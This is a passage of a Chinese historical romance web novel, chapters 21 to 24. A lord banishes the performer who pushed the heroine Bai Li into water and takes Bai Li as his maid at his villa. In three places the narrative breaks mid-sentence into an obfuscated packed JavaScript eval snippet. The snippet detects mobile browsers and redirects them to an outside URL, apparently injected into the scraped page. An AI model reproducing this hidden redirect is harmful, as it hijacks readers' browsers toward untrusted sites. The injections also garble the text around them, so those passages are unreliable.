还有什么好说的?只是从始至终没把她们当自己人罢了。 “你们这么多人,都没有看见,是吗?” 牧临之勾唇,轻笑几声,“好啊,真是好啊。” “李兄,我看你这班子也不必留下去了。”他拂了拂衣袖,轻描淡写道,“既然如此,那就干脆遣散了吧。” 话一出口,如同降下一道晴天霹雳,秋音堂所有的人这才全部脸色大变,齐齐磕头,连声哀求。 不仅是她们,白荔丹樱听他轻飘飘的一句话,就要遣散了秋音堂,一时也有些震住。 一直保持沉默的班主再也按捺不住,从众人中跪了出来,高声道,“使不得啊公子!离开了郡公府,秋音堂又能往哪里去呢?求求您高抬贵手,放我们一马吧!” “你们这种班子,本来就是四海为家,待在郡公府这许多日,也算是可以了,如今放你们离去,正好来个好聚好散,难道不好吗?”牧临之淡淡道,又转头看了看李皋,“朔常,你没有意见吧?放心,改天我一定赔你一个更好的。” “我当然没意见。”李皋下意识地回道。 他早就看出了牧临之今日的不同寻常,一个班子而已,随他高兴,就算遣散了也没什么。 两人你来我往,落在秋音堂众人的耳朵里,无异于雷击。 她们好不容易才入了郡公府这样的高门大户,要是被遣走,这么多白花花的银子没了不说,又要重新过回那种饥一顿饱一顿的苦日子。众人纷纷两眼发黑,嘴里发苦。 “大喜的日子,怎么还哭上了呢?”牧临之睥睨着跪地哀求的众人,“放心,不会亏待你们的,除了给你们结了这个月的月钱,额外再多给你们半年的俸禄,足够你们用上好一阵的了,这个钱我替郡公府给你们出,你们可满意?” 一顿饱饭,和顿顿饱饭,她们还是分得清的,听此恩惠,众人只是愣了一愣,铁了心一心想要留在府里,又开始继续哭声哀求。 “怎么?”一旁的叶桂霖却是看不下去了,他本来就因为白荔被牧临之抢走了而心气不顺,脸色沉下去,正好拿她们当起了出气筒,“已经给了你们天大的脸面,怎么还不见好就收?真以为在郡公府待了这么多日,就拿起乔来了不成?再不识相,就直接把你们给打出去,我看有谁敢说半个不字。” 秋音堂众人一愣,立刻住了嘴,个个口僵舌麻,苦不堪言。 “想要留下来,也不是不行。”牧临之又在这个时候悠悠开口道。 “到底是谁害白姑娘落水的,说出来。”他环视众人一圈,淡淡道,“我既往不咎。” 秋音堂众人经历了这一遭大起大落,后背的冷汗早已湿了一层又一层,闻此一言,纷纷如听天音,早就没有了刚才的坚持,几乎个个都要争先开口。 和玉绡平时最为亲近的蓝芷急急跳了出来,指着玉绡道,“我看见了!是她!是玉绡干的!” 有了她的出头,又有几人陆陆续续站了出来,指证玉绡。 玉绡身子一软,再也支撑不住地倒在了地上。 她知道,自己完了。 玉绡从恍惚中回过神来,再也不复素日的张扬狂妄,不断磕起头,很快泪流满面,“是我猪油蒙了心,是我对不住白荔,求公子们饶了我这一回吧!我再也不敢了!” “哦?”牧临之饶有兴致地看着哭天抹泪的玉绡,问道,“能告诉我吗?你为何要这么做。” 玉绡只觉得此刻已是大难临头,咬了咬牙,声泪俱下道,“我嫉妒丹樱和白荔,我嫉妒她们两个,自打她们两人来到了秋音堂,就抢走了我的风头,我不甘心,我不甘心呐!我本来不想害白荔的,若不是她事事跟我过不去,事事挡在丹樱的前面……都是她逼我的!” 丹樱听完缘由,一阵恼怒,“玉绡,你有什么跟我过不去的,冲着我来就好了,你为什么要对阿荔下手!你知不知道阿荔她不会水,若不是小郡王赶来的及时,阿荔很可能因你而死,你知不知道!” 玉绡这才明白事情的严重性,心中一急,跪着匍匐到牧临之的身边,哭道,“白荔,是我错了,是我对不住你,你福大命大,大人有大量,就宽恕我这一次吧,可不可以?” 见白荔无动于衷,玉绡病急乱投医,又紧紧抱住了牧临之的小腿,跪地哭求,“公子!公子求你宽恕我!我知道错了!” 牧临之轻轻呵了一声。 “嫉妒吗?有趣。”他笑了笑,慢慢道,“确实,她的确有让你嫉妒的资本。” 白荔一怔。 他话锋一转,似乎有些苦恼,“不过,我承认,我确实不明白你们女人之间这些错综复杂的情感。” “在这个世道,女人没有发声的权力,女人属于弱者,这一点,你应该比我更清楚。” “而我不明白的是,明明你们同为女人,同为这个世上的弱者,做不到报团取暖的话,也至少可以做到井水不犯河水,为什么还要互相妒忌,自相残杀,将自己的痛苦付诸在自己的同类身上……这种毫无意义的行为,我实在是不理解。” 牧临之缓缓说道,语气变得越来越冷静,这种冷静透着令人不安的紧张感,“如果你是一个安分守己的弱女子,我想我一定会同情你,说不定还会帮助你,但是你不是。” 他顿了顿,缓缓道,“既然你犯了错,那么就要为自己的错误付出代价。我不会怜悯。” 玉绡心神剧震,遍体生寒。 “不要……公子不要……”她喃喃道,看到了白荔,又好似看到了救命稻草,仰头对着白荔哭喊道,“白荔,我错了!是我错了!救救我!救救我!” “你伤害的人并不是我,而是白姑娘。”牧临之不为所动,淡淡道,“所以你的处置,也不由我说了算,而是由白姑娘决定。” 说完之后,他看向怀中的白荔,“白姑娘,你觉得这样可好?” 白荔看着脚下泣不成声的玉绡,沉默半晌,点了点头。 “小郡王……在此之前,麻烦先将我放下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秋音堂众人面色痛苦地看着她,但是谁都不敢上前替她求情。 玉绡见此情景,万念俱灰,恶从胆边生,带着哭腔大叫,“白荔!你这个贱人!你害我如此!你一定会不得好死!不得好死!” 牧临之皱眉,冷声道,“来人,把她给我……” “够了。”白荔及时打断了他,情急之下揪住了他的衣袖。 “小郡王,就这样吧,”她看着他,对他摇了摇头,“……放她去吧。” 牧临之心中一动,目光缓缓下落,看着她抓住自己衣袖的玉指,伸过手去,握了握她的手指,终是没有再说什么。 白荔反应过来,忙松开了手,有些不知所措。 牧临之并不着恼,抱着双臂,看着她有些发红的侧颜,微微一笑。 …… 有了这个插曲,热热闹闹的生辰宴陡转直下,不了了之地结束了。 日落西斜,到了散场的时候。 而这一次,对于白荔和丹樱来说,良辰美景,花好月圆,终是到了曲终人散的时刻。 临走之时,丹樱抱住白荔,一双泪眼里全是不舍。 “阿荔,你这一走,还不知道何时才能再相见……” 白荔也不好受,回抱住丹樱,也渐渐红了眼眶,“姐姐,高门宅院困难重重,没有你想的那么简单,我怕你以后会受委屈。” “阿荔,别担心我。”丹樱抽了抽鼻子,不想让此刻的氛围被悲伤覆盖,松了了她,露出一张明媚的笑脸,“我知道,把玉绡赶走,你都是为了我好,如今我跟着李皋,也算是有了依靠,只盼着你日后跟着小郡王,也能过上舒心的日子,小郡王,他……” “他……”丹樱犹豫片刻,道,“他是风流了些……但是我听别人说,小郡王宽宏大量,一视同仁,是个最好说话的人,又位高权重,将来一定能护得住你……你顺着他些,不会有苦头吃的。” “姐姐,我知道,你不用担心我。”白荔摇了摇头,不放心地看着她,“我只是担心你……” “害,”丹樱故作潇洒,浑不在意道,“你忘了我之前对你说的话了吗?宁为侯门妾,不做平头妻,要是一辈子让我过看人脸色的日子,我是死也不甘心的,如今终于如愿以偿,我高兴还来不及呢,你就放心好了。” 白荔默默听着,一时无话,最终只是叹了口气,“……姐姐,那你好好保重。” 她在担心丹樱的同时,又何尝不在担心自己。 从现在起,她就要离开郡公府,离开阿公和丹樱,只身跟随在那个男人的身边。 自己的今后,比起丹樱来,才是更加的前路渺茫。 牧子衿…… 白荔回想着今天他的一颦一行,深深地叹了一口气。 他还是她想象中的那个他吗? 自己的未来,又到底该走向何方呢? 22. 第 22 章 白荔带走的东西很少,只有几件随身的衣裳,和那一本《沉香篆》。 对了,还有阿公的骨灰盒。 丹樱立志要成为李皋的妾室,那么将阿公的骨灰葬在长安这件事,她几乎不可能实现,此事便顺理成章落到了白荔的头上。 这也是白荔暗地下的决心。 总有一天,她会带着阿公的骨灰盒,以一个全新的身份,再次踏足长安。 长安毕竟是生她养她的地方,藏了太多美好或痛苦的回忆,就算身在何处,她的心永远难以割舍。 无论多久,她总会再次回到那个地方的。 白荔收拾好了行李,最后环顾了一眼这个自己和丹樱、还有阿公曾经住过的地方,百感交集地关上了门,悄声离开。 当初三人入府,如今离开的,只剩下了她自己。 阿豮,不,如今是改了名字的长微,早已候在外面,乖巧地迎上来,看到她眼底的落寞,长微兴奋的小表情一变,心疼地靠过去,轻轻拉起她的手。 “白荔姐姐,别难过了,你要是想丹樱姐姐,以后常回来看看不就好了?我看小郡王不是那么不通情达理的主子,他一定会同意的。” 亲眼目睹了牧临之救下落水的白荔,又为她主持公道,还一并收留了自己,牧临之的形象在长微心里直线上升,对于这位未来的主子,小家伙充满了期待。 他童言无忌,他哪里会知道一入后宅深似海的道理。 白荔和丹樱,她们两人,恐怕这辈子都不会再相见。 “以后,长微会代替丹樱姐姐保护姐姐你的,姐姐,你别难过了。” 白荔听着腰间小心翼翼的稚嫩童言,终是将心间的悲伤放下,低下头去,对他轻扯唇角,浅浅一笑。 “好。” 长微脚步忽然一停,白荔也在这时看到了眼底的一双黑靴,抬起头,看向来人。 如今再见到陆禀,她已不再惊慌,也不再闪躲,而是朝他躬身行了一礼,神色平静道,“陆大人。” 陆禀深深地看了她片刻,目光又一转,落到了长微身上。 长微被这位浑身肃杀的男人吓得心尖一颤,本能地想要后退,又想起旁边的白荔,咬了咬小虎牙,鼓足勇气将白荔护至身后,戒备地看着他。 “长微,别怕,他不是坏人。”白荔拍了拍长微的小肩膀,有些感动,温柔道,“我有些话同陆大人说,你先去别的地方等我,好吗?” 长微犹豫,仍是不放心地盯着陆禀,可是这是白荔姐姐交代的,他就算再不放心,也只能放下手,不甘心地又看了陆禀一眼,扭头对白荔道,“姐姐,那长微在那颗老槐树下等你。”说完便一步三回头地离去了。 长微走后,白荔这才上前一步,朝着一言不发只是盯着自己看的陆禀道,“今日多谢陆大人出手相救,白荔记在心里。” 可惜,真正救下她的那个人却不是自己。 陆禀掩住眼底的落寞,将怀中的一本书递给她,淡淡道,“这本书是你丢下的,对吧?” 正是前阵子白荔遗落在街头的《溪山游记》。 白荔一怔,慢慢接了过来,将书捧在怀里,“……你都知道了。” “自从在这里遇到了你,回去之后我反复回想那一日街头逃跑的那个妇人,除了你,我想不到还有别人。” “那天那个妇人就是我。”白荔坦然道,“对不起,我……” “过去了,就不必再提了。”陆禀道,顿了顿,他沉默片刻,又看着她,问道,“白姑娘,你想好了吗,真的要跟他走?” 这个他,不用说是谁,两个人都心知肚明。 白荔点了点头,垂着眼,轻轻嗯了一声。 陆禀攥了攥拳,终是按捺不住,闷声道,“他……并非良人。” “他当然不是我的良人,他是我的主子,”白荔淡淡道,“我跟着他,能有一个吃饱穿暖的地方,能安安稳稳地活着,就已经知足了。” “可惜你想的这些,他并不能带给你,”陆禀道,“如今太后当权,他身份特殊,必定会被卷入风波之中,以后说不定他会是整个江南的漩涡中心,你以为你跟了他,能独善其身吗?” 白荔只是神色淡淡,扯唇一笑,“白荔自幼家破人亡,亲眼看着母亲死在眼前,也算是见识过风风雨雨了,反正我如今孑然一身,若是被他牵连而死,那也是我的命。” “白姑娘……”陆禀听她平静之言,心间一痛,又忍不住往前一步,“你本可不必如此……” 跟我走吧。 无论如何,我都能护住你。 白荔垂下双眼,往后面退了一步,轻声道,“陆大人,我知道你的好意,我心领了。” “但是我们之间……就这样吧。” 陆禀眉头一皱,忍住想要将她拥入怀中的冲动,他强捺下心绪,顿了几顿,这才慢慢道,“温姑娘,我说过,我只想看着你过得好。” “我的话永远兑现。若是日后你在他的身边待不下去,我一定会想办法将你带走。” “我陆禀说到做到。” “时辰不早了,我要走了,白姑娘,你自己……好好保重。” 陆禀说完这些,最后深深地看了她一眼,终于下定决心,转身大步离去。 反正他与牧临之之后的交锋只会只多不少。 他还会见到她的。 但愿,这一切不会把她牵扯进来。 . 白荔与陆禀很快分手,她整理好心情,像是什么事也不曾发生过一般,带着长微云淡风轻前行,绕过回廊处,正好有一个长相白净的年轻侍从迎了过来,带着两人走出了府门。 “白姑娘,公子在马车里等着你呢,咱们快些出发吧。” 看到白荔礼貌又疑惑的目光,他回过神来,红了红脸,笑出一口白牙,“我叫长林,是公子最信任的狗腿子、啊呸、手下,嘿嘿嘿~白姑娘仔细累了手,我来帮你。” 白荔看着长林眼力见地将自己手里的包裹都拎走,只能无奈笑了笑,温柔地对他道,“那就多谢你了。” 被美人这般致谢,长林只觉得脑子一阵晕乎乎,飘飘不知所以然了,“不客气!这是我应该做的!” 妈呀,这白姑娘长得也太好看了吧,眉眼跟画似的,肌肤雪白的好似要发光,说话的声音也轻轻柔柔的,直让人酥掉骨头。 长林绞尽脑汁也想不出什么形容词,只能想到了“仙女下凡”四个字。 他家公子,实在是好眼光,好福气啊! “长林,怎么还不带人过来,磨磨蹭蹭的干什么呢。” 一道慵懒轻佻的声音自马车里传来,一根修长的手指轻轻勾开轿帘,随即露出一张俊美如铸的面孔,淡淡地看向她们。 白荔一怔,旁边的长林急忙回道,“来了来了,公子别急,这不就来了!” 牧临之似笑非笑地看了白荔一眼,薄唇一勾,“既然来了,那就上车吧。” 白荔垂下头,连忙拒绝,“殿下,奴婢在马车两边随行就好。” “你是我的贴身侍女,自然是我在哪里,你就在哪里。”牧临之懒懒道,“上车吧。” 贴身侍女?白荔一愣。 她要做牧子衿的贴身侍女? 她的脑袋有些发麻,不敢磨蹭,晕晕乎乎地提着裙子上了车。 长微看着白荔转身踏上了香喷喷的大马车,羡慕地吞了吞口水,随即便听到又一道声音传来。 “那个小孩,你也上来。” 长微喜出望外,大声“哎”了一声,急急火火跟着上了马车。 马车里香风阵阵,味道并不腻,反而闻上去格外令人舒心,有一种淡淡的酒香混着橘皮香,格外好玩,马车里别有洞天,布置的格外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557910|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精美,四角悬垂着流苏,被风吹拂,响起一阵阵清脆的声音,中间一张紫檀木的小几,上面放着狼毫、香炉和棋盘,旁边放着几张碧绿凉席。 长微看的瞠目结舌,连连称奇。 这就是大户人家的马车吗?这也太奢华了! 他这辈子都没见过这么多值钱的物件! 牧临之懒懒地斜靠在软垫上,看着坐在角落,只敢拿余光偷摸摸打量着的长微,微微一笑,觉得有些意思,朝他推过去一盘点心,“小孩,你坐那么远干什么,过来。” “饿了吗?先吃点点心垫垫肚子。” 长微看着朝自己推过来的点心,一怔,不可置信地抬起眼,怯懦道,“殿下……这是给我吃的吗?” “当然。”牧临之好笑道,“快吃吧。” 长微看了一眼玉盘里的点心,咽了咽口水,又抬起头,不确定地看了牧临之一眼,再次低下头去,试探地伸出小手,拿走玉盘里的一块糕点,小心翼翼地塞进了嘴里。 他咬了一口,两眼逐渐放光,咀嚼的动作不知不觉快了起来,一块一块的糕点开始不停往嘴里塞。 一边吃,一边看着牧临之,神色有些激动,“……谢谢殿下,谢谢殿下!” “慢点吃,别噎着。”牧临之托着腮,饶有兴致地看着长微如饕餮般狼吞虎咽的吃相,“好吃吗?” “好吃!真好吃!”长微嘴里鼓鼓囊囊的,含糊不清道,“跟白荔姐姐做的一样好吃!” “哦?”牧临之眸光一转,笑吟吟地落到了一旁沉默不语的白荔身上,“你白荔姐姐还会做点心呢?” “对啊!白荔姐姐做的点心可好吃了,她对我可好了,总是偷偷给我做好吃的。” “是吗?”牧临之笑了笑,话锋一转,听上去心情很好的样子,不紧不慢道,“既然你白荔姐姐对你这么好,你光自己吃独食,怎么不问问你白荔姐姐饿不饿?” 白荔安静地坐在一侧,闻言淡淡道,“多谢殿下关心,奴婢不饿。” 长微立刻住了嘴,这才想起被忽视的白荔,心里十分自责,连忙拿起点心,讨好地端到她眼前,“白荔姐姐,你也吃,你肯定也饿坏了吧?对不起。” 白荔温柔地对他笑了笑,摸了摸他的头,“姐姐不饿,你自己吃吧。” 长微有些不知所措,不确定地又看向了牧临之,得到后者默认的眼色之后,这才不情不愿地收回玉盘,一个人继续吃了起来,但是没有之前那么香了。 牧临之道,“叫什么殿下啊,听着怪生分的,白姑娘以后就跟长林一样,叫我公子就行了。” “好的公子,奴婢记下了。” “……” 长微也好奇地抬起了头,小心翼翼地问道,“那长微也可以吗?” 牧临之看着他一脸诚恳的小模样,笑了笑,“当然。” “太好了!多谢公子!多谢公子!” 牧临之勾了勾唇,斜乜了一旁目不斜视的白荔,漫不经心地又开口道,“白姑娘,既然要做我的贴身侍女,除了烹饪之外,你可还会做些别的什么?” 白荔平静道,“日常侍奉,洒扫铺床,洗衣烹饪,奴婢都可以。” “会这么多?”牧临之装作一副很惊讶的模样,“白姑娘还真是不简单呢,那让你来做我的贴身婢女,我岂不是赚了?” “……奴婢不敢。” “算了,洗衣做饭这种事情,就不劳白姑娘操心了。”牧临之伸了个懒腰,重新慵懒地撑在小几上,似笑非笑地看着她,“我这个人呢,没那么多讲究,你只需平日给我铺纸侍墨,整理整理书籍,没事的时候还可以给我弹弹琴解解闷,你看可好?” “哦,对了,还有一点。” “我这个人喜欢热闹,不喜欢一个人待着,你一定要时时刻刻地陪在我身边,不要离开我的视线,白姑娘,你能做到吗?” 23. 第 23 章 牧临之的别院距离郡公府并不算近,马车要足足行驶两炷香的时间。别院依山傍水,背后山涧飞瀑,隐隐能够听到松涛般的水声溅落,草堂前种满松柏,游廊回旋,还有几座湖心亭隐隐点缀其中。山水悠长,浑然天成。 像是鬼斧神工的大自然之间,雕琢的最精美的一片世外桃源。 白荔在这里,开始了作为牧临之贴身婢女的生活。 作为这座别院的主人,牧临之本人就如同这悠远的山水景致一样,整日悠闲度日,闲云野鹤。 他并不需要旁人伺候,日常起居一应自理,独来独往,肆意潇洒的令人羡慕。 白荔恪守不要离开他的嘱托,时时刻刻跟在他身旁,不过过了几天之后,她开始有些怀疑他的话。 因为,大部分时间,她根本就找不到他。 牧临之整日神出鬼没,不是出门应酬,就是把自己关在书房里,还不许任何人接近。 还有必不可少的最重要的一件事,每天,他都会喝酒。 湖心亭、廊下、甚至楼台屋顶,总会时不时出现他举杯自酌的身影,不分场合,不分时间,根本让人琢磨不到一点规律。 有的时候喝高兴了,他就开始旁若无人的拔剑起舞,或是令人摆开一排笔墨纸砚,随时笔走龙蛇,整个院子都飘荡着他爽朗肆意的笑声,甚至直接就倒在原地,呼呼大睡。 白荔来了别院三天,就满院子里找了他三天,给他送了两次大氅、三次解酒汤,外加洗了六次毛笔、研磨了无数次的砚台之后,她嘴里发酸,有些叫苦。 长这么大,她还没见识过这样的人。 ……活脱脱就是一个长得好看的疯子。 白荔跑上跑下累了几天,渐渐开始适应,摸到了一些关窍。 譬如说这位主子,虽然有些时候很难伺候,但是除此之外,他对下人是绝对的大方与放纵,从不打骂摆脸子,只要不是犯了什么过分的错事,一概撒手不管。 白荔曾亲眼看见他醉酒后将自己玉带上坠的玉石香囊一件件全都赏给了身边的下人,眼睛眨也不眨一下,任凭他们争先恐后抢破了头,而当事人只是笑笑,枕在一旁浑然不觉地睡了过去。 别提长林他们几个了,白荔站在一边看着,自己都心动的手痒。 她意识到,这位不是不好相与的主,只要安分守己,不耍什么贼心思,她在这里就能过上平静舒服的日子。 长微更是如此,自从来到别院之后,他就彻底释放出了孩子的天性。长林几人对他很是关照,经常给他好吃的好玩的,长微除了白荔之外,现在天天跟在长林屁股后面,小脸上越来越多有了笑容。 白荔看着他再也不是在郡公府时的那一副胆小怕事的样子,也不禁感到了几分欣慰。 当然,在别院中,除了她和长微以外,还有很多形形色色的“不速之客”。 第三日的时候,牧临之第三次将自己关进了书房,白荔百无聊赖,放弃了一直在外面守着他的心思,一个人离开了书房,准备随便转转。 刚绕到后院,她就被一群人抓了个正着。 “落枫,这就是公子新收的贴身婢女?”一道如春莺般的动人女音响起。 “唔,长林那小子说的不差,长得还真是漂亮极了。”另一道柔媚入骨的女音响起,直教人听了浑身发软。 “瞧这脸蛋,啧啧啧,”一位红衣服的女子伸出手来,肆意地摸了摸白荔惊讶的小脸,惊讶道,“皮肤真好!” 又一个黄衣服的女子凑了过来,不安分地捏了捏她的胸,又掐了一把杨柳细腰,“瞧瞧,胸这么大,小腰还这么细,我两只手都能掐的过来,啧啧啧,这得是吃什么长大的……” 被来人一通乱摸,白荔花容失色,连连后退,用胳膊护住自己的胸口,“你们、你们要干什么?” 红衣女子笑了笑,安抚地拍了拍白荔,示意她不必害怕,“哎哟,姑娘别怕,别怕,我们都是这别院里的婢女,我叫落枫。” 白荔愣住,看着眼前一群花红柳绿的美貌女子,个个貌若西子,各有千秋,直教人一下子看晃了眼。 这样出落的姿色……这些人都是牧临之的婢女? “哎哟,瞧瞧,你在怕什么啊?我们又不是什么吃人的妖精,真是的。” “你来了,我们心里不知有多高兴了,以后有你伺候公子,我们几个就放心啦,对了,公子现在一定在忙,你有没有空,要不要去我屋里喝点茶、吃点果子?对了,会搓牌吗,正好三缺一,你来吗?” “……”白荔错愕。 这别院里的婢女,都这么闲的吗? 这真的是婢女吗? 白荔欲要拒绝,却架不住一群莺莺燕燕将她连劝带拖地拉进了屋里,只能既来之则安之,不自在地坐了下来,尴尬地喝了一口茶。 “喂,对了,你叫什么名字啊。” “……白荔。” “白荔?荔枝的荔吗?可恶啊,连名字都取得这么好听,我看你年纪不大,就叫你白妹妹吧,好吗?” 落枫是个心直口快的,说了一大堆,又问她,“我可提醒你啊,要做公子的贴身婢女,可要有点本事在身上的,你可会些什么?” 白荔回道,“我会洗衣做饭,洒扫铺床。” “谁问你这个了?我是问你会什么技艺。” “技艺?”白荔犹豫了一下,顿了一顿,如实回道,“我……我会弹琵琶。” “什么?你会弹琵琶。”落枫眼睛一亮,“巧了不是,我也会。” “不瞒你说白妹妹,我曾经啊,可是广名楼的花魁,广名楼你知道吧?就是跟望月楼齐名的那个,后来所托非人,差点被人骗了去,结果被公子救走了,赎了出来,这才跟着来到了这里。还有可儿,喏,她也是花魁,跟我一道来的,她跳的舞可好看了。” 话音刚落,一旁的蓝衣女子毫不扭捏,旋身在众人面前就这样跳起舞来,竟是难度极高的胡璇飞天。 优美激昂的舞姿,甚至比起丹樱来更胜一筹,白荔看的瞠目结舌。这才注意到,此女金发碧眼,竟是一名异域胡姬。 “还有我还有我。”绿衣女子跃跃欲试,开始自我介绍起来,“我是朱颜,是望月楼的花魁,我会弹琴唱曲,白妹妹,你要听吗?我给你唱一个啊。”说着不等可儿跳完,便在一旁摇头高歌起来。 白荔汗颜。 这别院里的婢女,人均花魁吗? 那自己……这…… “姐姐们多才多艺,真是令白荔自愧不如。” “哪里的话,你能被公子看上,带到这里来,肯定有你的过人之处。”落枫忙安慰她,话锋一转,又道,“公子是个好人,长得也风流英俊,是姑苏城一等一的人物,我们都很喜欢他。你作为公子的贴身婢女这一点很好,不过姐姐们把你叫到这里来,也是为了特意嘱咐你一句,你可千万不要对公子动什么歪心思啊。” “……” 白荔无语一会,开口道,“姐姐们放心,我不会的。” “哎哟,你别误会,我们这么跟你说,也是好心提醒你。”落枫拍了拍她的肩膀,坦然笑道,“之前有一个不安分的妹妹,做了公子几天的婢女,期间屡屡用计,趁着公子醉倒的时候想要爬床,要不是公子身边的人机灵,才没有叫她得逞了去,事后公子痛心疾首,对她进行了严厉的批评教育,直把那妹妹说的痛哭流涕,悔不当初,连连骂自己被猪油糊了心,还保证以后再也不做这样的糊涂事了——你说是不是啊,秋兰?” “哎哟,都是陈芝麻烂谷子的事了,姐姐还打趣我。”秋兰被人当众调侃,有些不好意思,旋即豪迈一笑,“放心好了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570715|169584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我现在可是已经改邪归正了,公子说的没错,还是作为一个自由人,凭自己的本事过日子才是正道,我现在就安安分分地待在这里做个婢女,日子这不是舒坦的很?” “自由人?”白荔听着,心中一动,“公子消了你的奴籍吗?” “是啊。”秋兰懒懒回道,“本来公子是要消了我的奴籍,赶我出府去的,结果我还是死缠烂打留了下来。” “……为何不出府去呢?” 秋兰不屑,回答的义正言辞,“我才不出府呢,在这里有吃有喝的,还不用干活,神仙来了我也不换,我何必出府去讨那个苦头吃呢。” “所以我劝你啊,也安分些,收起那不该有的心思。虽然公子对你很好,但是公子是大家的公子,谁也不能独占了去。咱们姐妹们和谐相处,各凭本事过活,保管有你享不尽的好日子。” …… “姐姐!姐姐!”长微气喘吁吁地跑了过来,“你在这里啊,让长微好找。” 白荔看到是长微,柔声问道,“长微,有什么事吗?” “公子睡醒了,正找你呢?” 白荔心中一凛,敛眉起身,“我知道了,我这就去。” “哎哟,哪里来的小孩,长得真讨喜,快过来,让姐姐们好好疼疼。” 长微自打来到了别院,吃得好睡得香,身上长了肉,个头也隐隐在窜,穿着崭新的下人衣裳,头发绑了起来,整个人桃腮粉面的,别提有多精神了。 见到一群花红柳绿的漂亮姐姐,长微犹如掉进了盘丝洞,小脸涨的通红,辗转在几个姐姐香香的怀抱里被揉来捏去,尴尬的不知如何是好,最好还是白荔看不下去,将他解救出来,一并带走。 长微走在回去的路上,心有余悸,“……姐姐,她们都是些什么人啊?” “她们都是别院里的婢女,长微别怕,她们都很喜欢你。” 白荔对长微温柔地解释,心中暗暗有了计较。 秋兰做过那样的事,都能被他消了奴籍放出去。 那自己日后,只要安安分分的,不惹是生非,脱籍一定有望。 白荔心中暗喜,感觉自己浑身上下又充满了奔头,嘴角不知不觉地翘了起来。 等进了书房,她都忘了做好表情管理,牧临之扭头一看,便对上了女子那张微笑的玉面。 “怎么了?这么高兴?” 白荔连忙收起脸上的笑意,垂下眼睛,淡淡道,“……没什么。公子叫我过来,是有什么要吩咐的吗?” 牧临之将她脸上的表情变幻看在眼里,并不着恼,依旧笑吟吟的,“哦,没什么事,就是醒来之后,找不到你,心怪慌的。” “……”白荔语塞,不过很快调整好,淡淡道,“公子饿不饿?奴婢去给您端些点心过来。” “不饿,不用了。我倒是想摹画了,你来替我磨墨吧。” 白荔于是从容地走到书案前,拿起墨块,缓慢地在砚台上打圈。 牧临之托着腮,坐在罗汉床上,有一下没一下地盯着她玲珑有致的身影,看着那一排睫毛安静地垂下,如同一柄黝黑的羽扇,侧脸柔美宁静。 她就这样安静地站在书案前,一圈一圈地研磨,专注从容,墨块乌黑,衬得她的修长玉指白皙如玉,连指甲都那么好看,透着淡淡的莹润粉色。 牧临之看着看着,眼神不由得变得直勾勾了起来。 旁边的视线如芒刺背,白荔装作看不见,神色平静地磨好了墨,又开始在案上铺平宣纸,压上镇纸。 她刚要退下,便听到男人开了口,悠悠道,“我记得你以前最喜欢画山水画了,不知过去了这么多年,画技生疏了没?” 白荔停住,脸色一僵。 这还是迄今为止,两人第一次撕开了彼此的掩饰,彻底摊开,摆在了明面上。 24. 第 24 章 袖中的手指缓缓攥紧,白荔平静垂下眼眸,淡淡道,“奴婢不会。” “不必装听不懂,你知道我在说什么。” 白荔沉默下去。 过了一会,她盯着深色的楠竹地面,缓缓道,“前尘往事,奴婢都忘记了。” 牧临之静静看着她。 “是吗?” 他长久地看着她沉默的面容,半晌后,似是极轻极轻地叹了一口气,“忘记了就忘记了吧。” “忘记了也好。”他喃喃道,直直看着她,过了会,又对她笑了一笑,提高了声量,“既然你忘记了,那我就负责记住,连带着你的那一份一起。” 白荔心间一动,但仍是神色淡淡,保持着沉默。 她已经不再是那个不谙世事的小女孩了,经历了一系列的家破人亡和丧亲之痛,轻易不会有什么再令她掀起波澜。 她就像是一颗被蚁虫啃食的空心的树,外表上看上去年轻鲜活,一派生机勃勃,可是看不见的树干里,早已被蚁虫啃食的面目全非,摇摇欲坠。 气氛一时有些僵持下去。 牧临之如何看不出,随意一笑,又恢复了那一副混不吝的样子,自然转移了话题,问道,“对了,你刚才去哪了?” “去了落枫姐姐那边,说了一会儿话。” “是吗?”牧临之有些意外,问道,“她们没有为难你吧?” “没有,她们都对我很友好。” “那就好。”牧临之松了一口气,对她解释道,“她们都是沦落青楼的歌妓,我看她们可怜,就收留了一些。你放心,过几天我会把她们送到其他的地方去的。” 其他的地方? 白荔疑惑,那是什么地方? 不过,转念又一想,他没有必要跟自己解释这些吧。 “她们在这里放肆惯了,我也懒得管,性子上可能有些张扬,她们没有对你说什么奇怪的话吧?” “没有。”白荔回道。 想了想,她盯着楠竹地面,又加上了一句,平静道,“她们让我安分守己,不要打公子的主意。” “嗯?”这次轮到牧临之惊讶了。 “她们是这么说的吗?”他勾了勾唇,笑出声来,又转眸看向了她,一双含情的丹凤眼如同湖水波纹,“那你觉得呢?你觉得她们说的对吗?” “我觉得姐姐们提醒的对。”白荔目不斜视,淡淡道,“奴婢定牢牢记下,不会僭越雷池一步。” “是吗?” 牧临之轻笑一声,说罢缓缓从罗汉床上起身,懒洋洋的走到白荔面前。 